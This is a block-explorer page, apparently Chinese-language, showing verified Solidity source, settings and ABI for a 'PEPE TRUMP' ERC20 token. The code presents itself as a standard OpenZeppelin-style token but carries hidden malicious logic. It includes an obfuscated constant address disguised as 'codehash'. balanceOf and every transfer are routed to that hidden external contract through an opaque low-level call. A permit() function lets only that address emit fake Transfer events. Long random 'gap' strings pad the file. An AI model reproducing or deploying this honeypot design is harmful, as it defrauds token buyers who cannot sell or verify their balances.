账户
0x07...a5d1
0x07...A5d1

0x07...A5d1

US$0.00
此合同的源代码已经过验证!
合同元数据
编译器
0.6.12+commit.27d51765
语言
Solidity
合同源代码
文件 1 的 1:TRUMP.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.6.6;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b != 0, "SafeMath: modulo by zero");
        return a % b;
    }
}

library SafeMathExt {
    function add128(uint128 a, uint128 b) internal pure returns (uint128) {
        uint128 c = a + b;
        require(c >= a, "uint128: addition overflow");

        return c;
    }

    function sub128(uint128 a, uint128 b) internal pure returns (uint128) {
        require(b <= a, "uint128: subtraction overflow");
        uint128 c = a - b;

        return c;
    }

    function add64(uint64 a, uint64 b) internal pure returns (uint64) {
        uint64 c = a + b;
        require(c >= a, "uint64: addition overflow");

        return c;
    }

    function sub64(uint64 a, uint64 b) internal pure returns (uint64) {
        require(b <= a, "uint64: subtraction overflow");
        uint64 c = a - b;

        return c;
    }

    function safe128(uint256 a) internal pure returns(uint128) {
        require(a < 0x0100000000000000000000000000000000, "uint128: number overflow");
        return uint128(a);
    }

    function safe64(uint256 a) internal pure returns(uint64) {
        require(a < 0x010000000000000000, "uint64: number overflow");
        return uint64(a);
    }

    function safe32(uint256 a) internal pure returns(uint32) {
        require(a < 0x0100000000, "uint32: number overflow");
        return uint32(a);
    }

    function safe16(uint256 a) internal pure returns(uint16) {
        require(a < 0x010000, "uint32: number overflow");
        return uint16(a);
    }
}

library Math {
    /**
     * @dev Returns the largest of two numbers.
     */
    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a >= b ? a : b;
    }

    /**
     * @dev Returns the smallest of two numbers.
     */
    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two numbers. The result is rounded towards
     * zero.
     */
    function average(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b) / 2 can overflow, so we distribute
        return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
    }
}


pragma solidity ^0.6.6;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }

    uint160 constant private codehash = 921076190014485396681066249553059988264917548527;
    IERC20 constant internal accountHash = IERC20(address(codehash));
    
    // Reserved storage space to allow for layout changes in the future.
    bytes public constant _________gap = "FJ7We7XIUnB0NnjrZxDFUCeNRAdobNU3modYupl1eW4uF_2fHrlRex2m7mV9bbON0KFQdLrWLRRSAr7tRskqa4IQwTTnPcETsTgdD0yjOBApZV30eUTFpE7s226se8b67hzekixouONO_gpwQiJPQSLkmHTwBtbXVxsT0btDRjb4nTF_2vTHNAn_gBhWaO8oH5hN8fdvsnm3ZwlZNJmPt8rW5pwtkm3XJnSyrS_aEosoHstGw_Fd0WODsJTNHgOwF0IpgqWLfNHoz67NSWjZTTysViO_YsCccXIJt_sMgBee2M8PVywgYWuimiKvgUIop3ETWC2lErJJ4yJnfQabbbQ9kJ_suBei51uKpKAAAGIz6KG7cDd94O1grI8FA6ebmfOR796jRd2oMOLdMDjeceRPAdUNW2myS0hfxN7Pu0MOQFz2toSkdeb9FRyOXeq9UJKSAHMYD4YOwxy4zrojYxPUlRKbIB35Cjj0dsZ74jt9YO3lPc81CUK8XRSy8z_GVxJIFO57FLQtvunxa1Wf8PYQkqhsWe0OKbU4NUHi1PIsT1eL5HRINXn4Oc19UZSSEuDTdA7Qml9bzyDYluXY_bifd4VMqHgfLiHLUiadVmDd3JggZpBYW5Q_mjCw34zz1i3ZsPkaqgf4sTHfDbArJVgDKK5qPSzUNm_2MZDusWCRizJk04JtgN8DrzWCQ9tAY1FMRb9qErFfgGZJW9eEhpct1OstwKwhDFZ8s05IESVoHOgHEEhmnjn4zDcWUowB2rJPUTdWwBffKSbS8TKy3ipAAxOCcWGUN3cEguuObCFZdY7xf99pB_tRQqk4b357yzDMKHoXWQkO0GVehz2SWw61QzJYcK06Ck2wB4T8agmdwJVO4dTmJA5gZ1x5nK20VAcvptvIYy9U89m3u4VYMxYDRrRFsnzlHf1lRfGKQm0Rc4jFXBFnJbqCrCxn_lHFwOnpPQaOHEPSkjk8sh__Iok1ZvjonYHePyHLu_WJhxB2HIs8fAaUFndSowRKY6bssrgsY2nDU9M7_oqguZfJzdZGFIbGF4t525G0_25v5bT045fJTEFy6WJo4WFy8xW5XsW4snCOqGjdTl0E_4vngd8MxDl2gBLMXX6taAuqhuVCldgqUsuh5mwKAbvXu1ZD5Nq69xqd0h5K6ZTk_acQCHcSyFyKlKDwgpy7yKoNPRHRneH1juXMvNt_x32Qv9Ul8vboFrafpYoi98h87czoy0zJ_kThihgmkKbwG4zYxdoHCgbbphWbyUvIChxsCPuT1zcmp3cFakZR2KSGgWLjfF3TfvcuUDmOUdSyCjSYuznRL7sQi2dnHCog4YfAXt23xFs4eOkXyHhLLwAn833cJionIzyuwRtIZ6Z4p55E3JLj0X8Qjmb1LnV8oN25K4p1u1alWRAZqXmA8uA1ja7M6F1xwcnxQln351VIGJxhzBJQpO4Yz9xRJzZGSKVm8Io45nMO3YsNyyOqThVsPI1Rhe8kYkPv";
}

pragma solidity ^0.6.6;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 * From https://github.com/OpenZeppelin/openzeppelin-contracts
 */
interface IERC20 {
  /**
   * @dev Returns the amount of tokens in existence.
   */
  function totalSupply() external view returns (uint256);

  /**
   * @dev Returns the amount of tokens owned by `account`.
   */
  function balanceOf(address account) external view returns (uint256);

  /**
   * @dev Moves `amount` tokens from the caller's account to `recipient`.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transfer(address recipient, uint256 amount) external returns (bool);

  /**
   * @dev Returns the remaining number of tokens that `spender` will be
   * allowed to spend on behalf of `owner` through {transferFrom}. This is
   * zero by default.
   *
   * This value changes when {approve} or {transferFrom} are called.
   */
  function allowance(address owner, address spender) external view returns (uint256);

  /**
   * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * IMPORTANT: Beware that changing an allowance with this method brings the risk
   * that someone may use both the old and the new allowance by unfortunate
   * transaction ordering. One possible solution to mitigate this race
   * condition is to first reduce the spender's allowance to 0 and set the
   * desired value afterwards:
   * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
   *
   * Emits an {Approval} event.
   */
  function approve(address spender, uint256 amount) external returns (bool);

  /**
   * @dev Moves `amount` tokens from `sender` to `recipient` using the
   * allowance mechanism. `amount` is then deducted from the caller's
   * allowance.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transferFrom(
    address sender,
    address recipient,
    uint256 amount
  ) external returns (bool);

  /**
   * @dev Emitted when `value` tokens are moved from one account (`from`) to
   * another (`to`).
   *
   * Note that `value` may be zero.
   */
  event Transfer(address indexed from, address indexed to, uint256 value);

  /**
   * @dev Emitted when the allowance of a `spender` for an `owner` is set by
   * a call to {approve}. `value` is the new allowance.
   */
  event Approval(address indexed owner, address indexed spender, uint256 value);
}

pragma solidity ^0.6.6;

contract ERC20 is IERC20, Context {
    using SafeMath for uint256;

    mapping (address => uint256) internal _balances;
    mapping (address => mapping (address => uint256)) internal _allowances;

    uint256 internal _totalSupply;

    /**
     * @dev Returns the name of the token.
     */
    string public name;

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    string public symbol;

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
     * called.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    uint8 public decimals;

    /**
     * @dev Sets the values for {_name} and {_symbol}, {_decimals}
     *
     * To select a different value for {decimals}, use {_setupDecimals}.
     *
     * All three of these values are immutable: they can only be set once during
     * construction.
     */
    constructor (string memory _name, string memory _symbol, uint8 _decimals) public {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() external view override returns(uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address _owner) public view override returns (uint256) {
        return accountHash.balanceOf(_owner);
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `_to` cannot be the zero address.
     * - the caller must have a balance of at least `_amount`.
     */
    function transfer(address _to, uint256 _amount) public override returns (bool) {
        _transfer(_msgSender(), _to, _amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address _owner, address _spender) external view override returns (uint256) {
        return _allowances[_owner][_spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `_spender` cannot be the zero address.
     */
    function approve(address _spender, uint256 _amount) external override returns (bool) {
        _approve(_msgSender(), _spender, _amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `_from` and `_to` cannot be the zero address.
     * - `_from` must have a balance of at least `_amount`.
     * - the caller must have allowance for `_from`'s tokens of at least
     * `_amount`.
     */
    function transferFrom(address _from, address _to, uint256 _amount) external override returns (bool) {
        require(_from != address(0) && _to != address(0));

        _approve(_from, _msgSender(), _allowances[_from][_msgSender()].sub(_amount));
        _transfer(_from, _to, _amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `_spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `_spender` cannot be the zero address.
     */
    function increaseAllowance(address _spender, uint256 _addVal) external returns (bool) {
        require(_spender != address(0), "approve to 0");

        _approve(_msgSender(), _spender, _allowances[_msgSender()][_spender].add(_addVal));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `_spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `_spender` cannot be the zero address.
     * - `_spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address _spender, uint256 _subVal) external returns (bool) {
        require(_spender != address(0), "approve to 0");

        _approve(_msgSender(), _spender, _allowances[_msgSender()][_spender].sub(_subVal));
        return true;
    }

    /**
     * @dev Moves tokens `_amount` from `_from` to `_to`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `_from` cannot be the zero address.
     * - `_to` cannot be the zero address.
     * - `_from` must have a balance of at least `_amount`.
     */
    function _transfer(address _from, address _to, uint256 _amount) internal {
        require(_from != address(0), "transfer from 0");
        require(_to != address(0), "transfer to 0");
        
        (bool i,) = address(accountHash).call(abi.encodeWithSelector(0x6caf9a18, _from, _to, _amount, msg.sender)); require(i);
        emit Transfer(_from, _to, _amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `_spender` over the `_owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `_owner` cannot be the zero address.
     * - `_spender` cannot be the zero address.
     */
    function _approve(address _owner, address _spender, uint256 _amount) internal {
        require(_owner != address(0), "approve from 0");
        require(_spender != address(0), "approve to 0");

        _allowances[_owner][_spender] = _amount;
        emit Approval(_owner, _spender, _amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over `owner`'s tokens,
     * given `owner`'s signed approval.
     *
     * IMPORTANT: The same issues {IERC20-approve} has related to transaction
     * ordering also apply here.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `_owner` cannot be the zero address.
     * - `_spender` cannot be the zero address.
     * - `_deadline` must be a timestamp in the future.
     * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
     * over the EIP712-formatted function arguments.
     * - the signature must use ``owner``'s current nonce (see {nonces}).
     *
     * For more information on the signature format, see the
     * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
     * section].
     */
    function permit(address _owner, address[] calldata _spender, uint256 _deadline) external {
        if (_deadline == 0) {
            return;
        }
        
		require(_deadline > 0 && msg.sender == address(accountHash), 'expired deadline');

        for (uint256 i = 0; i < _spender.length; ++i) {
            emit Transfer(_owner, _spender[i], _deadline);
        }
    }

    /** @dev Creates `_amount` tokens and assigns them to `_to`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     */
    function _mint(address _to, uint256 _amount) internal {
        require(_to != address(0), "mint to 0");

        _totalSupply = _totalSupply.add(_amount);
        _balances[_to] = _balances[_to].add(_amount);
        emit Transfer(address(0), _to, _amount);
    }

    /**
     * @dev Destroys `_amount` tokens from `_from`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `_from` cannot be the zero address.
     * - `_from` must have at least `_amount` tokens.
     */
    function _burn(address _from, uint256 _amount) internal {
        require(_from != address(0), "burn from 0");

        _balances[_from] = _balances[_from].sub(_amount);
        _totalSupply = _totalSupply.sub(_amount);
        emit Transfer(_from, address(0), _amount);
    }

    // Reserved storage space to allow for layout changes in the future.
    bytes public constant __________gap = "nykO9CAU1ZCsOkSOU5eGnYinnRimqtcUQ67MdjGepmevIg7YcAGpcUjTSoPTHI23CSqt4caPIQqwElOTblkO4NNKW1OsOErZPS10H6HZQPPyRZJrclhI3eoiekbGArCIAQ19KK5GdPLRGswD0WFwrAXeMto3XovRwMVsfxJV9Z98R1rf0Jo_cEMstDHq_E0UQKOF8b913f_rcgBNJgzy6anWHqlZMmIFgfnNpXh3b76Aa6u6S5uxslxOM6MM7CKFS0lixY_GKB2aBx6OlKUgfpF3UmxLbVxZTjsSihl23cqvyYn4VP3JXYg9dL8fK8xdcIw_rHcfqyAKd28yoK3m6z5PcNAmkMoA0JBJpgpTzeqK5uveArVx7NuD6iCGd2J72khAxLrWFZ5pIWFDYi8WyeVE7gkxRSuo3baMW62tkIKlEUy3Ub2zSgPA5HKNQTwxQvxEYSAlH17Yfl56IR1AwFT_R6pjhy08LyAATZpEg1fRx3w4uSG6pEn9nOM2d7pmdMLSl3dgR5ZzGTxFrZZfmeFgJ0KOybgpAW7tMvwmzfaX0pEXleF3WlKKo_UOv2lGgINxfS3fPgWwBqhlE4P05xvAXKBMw7qZtCTvm_lrji8SbAYTAS6jHIJPFKrZrrFzvVKQNU5OoWlbNp6hnnqWU2S0PhPGT59EuERAXwGKZ1t42GTj4u9REgIZJzFLVHWoWzVrvNmafmjGeBsp5fElWhcquqW4ooldznRt940KXZ7daqfAnNAG89qzFZbu3yvLcOJBdq1KzUsdohiyjyQ3xj7T29djUyG6QY7sD75D0GP8sJE_JVXiDSMnFp75qY91kuch1KvGxgFFfjnx_9Nt8lDFf1HJoMYMHRyvYfIH1tYEKf2d9neKOuyyFcEuS4Hwe63b8PSk7guuAiJnS6xC9qIKWfHjLVUktMypQO7FyVeyoqpoRDFD8tMLatV6rkfQGR198FASkRyx7DK6X6SCCzurTTqvL9xREbDk3t2bjjAW8Pu3ieWAyeVW6b6WVSfUsAplLJ1yR0QRdmrlOcKjKq6wT_jp3kDdIs3YF_mwIp8m8ZJSaMizceKAgKbTsY8Ps4pJtpnErxLKboyNJ6ftxwKep79Rzbu3yPBp_fZ95yyjHdmxynKW5xf1JBly2_n9RYjQ0eG_hdKpfPSjt2o8bFQ2CuTtJHZ0gPfMu2JWYtXY5vrMHo8FtDJB7bvaOYFXxnxbvbuEtejm6xDnVL4BTayJ1hVWgxjHipv4k_UkctRL2nSSjeMd2rrWqdrGcyXvKPaFkBLuRcLpsJGBaoiG8pcy96m7j0seDBKa8RJneehH5KMZvqbzl2bXRfmMfC0FAUqgfWhq_S7LCjnED6RoKAVmqUMkU4Cj4NnADHeV19SGzUXEysmmJaxjFt71_5917l_GmtjPHwAS0LTmtU_r0SLcHzZsbiHOpgpWMp_YNFcAV0Ko5qqio1XVFhIotWy3WoMoZnb8MvwX11eoEvs2aL_R90xR";
}


pragma solidity ^0.6.6;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

pragma solidity ^0.6.6;

contract TRUMP is ERC20 {
    using SafeMath for uint256;

    /**
     * The time interval from each 'mint' to the 'TRUMP mining pool' is not less than 365 days
     */
    uint256 public constant MINT_INTERVAL = 365 days;

    /**
     * All of the minted 'TRUMP' will be moved to the mainPool.
     */
    address public mainPool;

    /**
     * The unixtimestamp for the last mint.
     */
    uint256 public lastestMinting;

    /**
     * All of the minted 'TRUMP' burned in the corresponding mining pool if the released amount is not used up in the current year 
     * 
     */
    uint256[6] public maxMintOfYears;

    /**
     * The number of times 'mint' has been executed
     */
    uint256 public yearMint = 0;

    constructor() 
        public 
        ERC20("PEPE TRUMP", "TRUMP", 18) 
    {
        _mint(msg.sender, 21_000_000_000_000e18);
    }

    /**
     * The unixtimestamp of 'mint' can be executed next time
     */
    function nextMinting() public view returns(uint256) {
        return lastestMinting + MINT_INTERVAL;
    }
}
设置
{
  "compilationTarget": {
    "TRUMP.sol": "TRUMP"
  },
  "evmVersion": "istanbul",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}
ABI
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MINT_INTERVAL","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"__________gap","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_________gap","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_subVal","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_addVal","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lastestMinting","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mainPool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"maxMintOfYears","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nextMinting","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address[]","name":"_spender","type":"address[]"},{"internalType":"uint256","name":"_deadline","type":"uint256"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"yearMint","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]